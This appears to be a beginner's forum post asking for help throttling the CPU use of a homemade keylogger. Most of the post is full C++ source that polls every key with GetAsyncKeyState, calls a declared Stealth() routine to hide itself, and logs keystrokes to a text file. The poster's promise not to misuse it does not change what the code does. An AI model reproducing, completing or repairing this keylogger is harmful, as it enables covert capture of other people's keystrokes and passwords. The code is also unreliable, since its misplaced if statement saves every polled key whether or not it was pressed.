Hello Cprogramming.com, this is my first post, and hopefully not my last post. I am fairly new to C++ and the whole programming game, but I would really like to learn it.
I saw a video the other day that helped me make a basic Key Logger. Yes, I know that this can be frowned upon, but I promise I won't use it against anyone over the internet! The issue that I was having was when the program was running, my computer was getting really noisy, so I assumed the CPU was being used alot. I heard about this (sleep) function that could help me out, but I don't know how to attatch it.
Here is my code:
Code:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <dos.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
sleep(50);
Save (i, "LOG.TXT");
}
}
system ("PAUSE");
return 0;
}
/* ********************************************** */
/* ********************************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke ==2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == 64)
fprintf(OUTPUT_FILE, "%s", "[==at==]\n");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]\n");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]\n");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]\n");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]\n");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]\n");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]\n");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]\n");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]\n");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]\n");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}

Thanks alot, RialnisMada!
